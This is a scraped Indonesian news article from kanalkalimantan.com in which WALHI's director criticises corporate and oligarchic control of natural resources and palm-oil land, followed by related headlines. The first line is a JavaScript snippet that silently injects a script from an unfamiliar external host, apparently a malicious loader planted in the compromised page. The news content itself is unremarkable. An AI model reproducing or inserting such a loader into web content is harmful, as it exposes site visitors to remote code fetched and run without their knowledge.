(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM – Direktur Eksekutif Wahana Lingkungan Hidup Indonesia (WALHI) Nur Hidayati memahami kalau konstitusi mengatakan bahwa sumber daya alam (SDA) di Indonesia bisa digunakan sebesar-besarnya untuk kemakmuran rakyat.
Namun kata dia, faktanya SDA di tanah air hanya dimanfaatkan untuk kekayaan para pengusaha dan oligarki.
“Sejak masa orde baru sampai hari ini kita menyaksikan bahwa sumber daya alam kita itu dikelola secara tidak adil,” ujar Nur dalam diskusi bertajuk Dosa Oligarki secara daring, Jumat (29/1/2021).
Menurut data yang dimiliki Walhi pada 2018, sebanyak 60 persen daratan di Indonesia itu sudah dialokasikan untuk izin-izin korporasi. Mirisnya, hal itu membuat penduduk-penduduk lokal biasanya diminta untuk pindah dari daerah yang sudah ditinggalinya secara turun temurun.
“Seringkali harus diusir karena mereka dianggap tidak memiliki izin disitu,” ujarnya.
Karena itu, tidak heran kalau bencana ekologi kerap kali menimpa daerah-daerah yang seharusnya tidak berdampak begitu buruk, seperti misalkan di Kalimantan.
Ketika musim hujan datang, Nur menyebut Kalimantan bakal diterpa oleh banjir dan ketika musim kemarau, maka kebakaran hutan akan melanda.
Nur mengungkapkan penggunaan SDA dengan ego korporasi ialah pembangunan kebun sawit di tanah air. Menurut Surat Keputusan Menteri Pertanian Nomor 833/2019, luas tutupan sawit secara nasional pada 2019 mencapai 16.381.959 hektar.
“Kalau kita hitung 1,2 kali luas pulau Jawa,” ucapnya.
Meski demikian, ia menyebut tidak semua perkebunan sawit itu memiliki izin dan pemerintah disebut lemah dalam pengawasan.
“Namun seperti yang sudah sering kita saksikan mereka (korporasi) lebih kuat dari negara karena kondisi saat ini sebenarnya juga menunjukkan mereka lah negara itu karena tali temalinya (oligarkinya) sangat kuat.” (suara.com)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.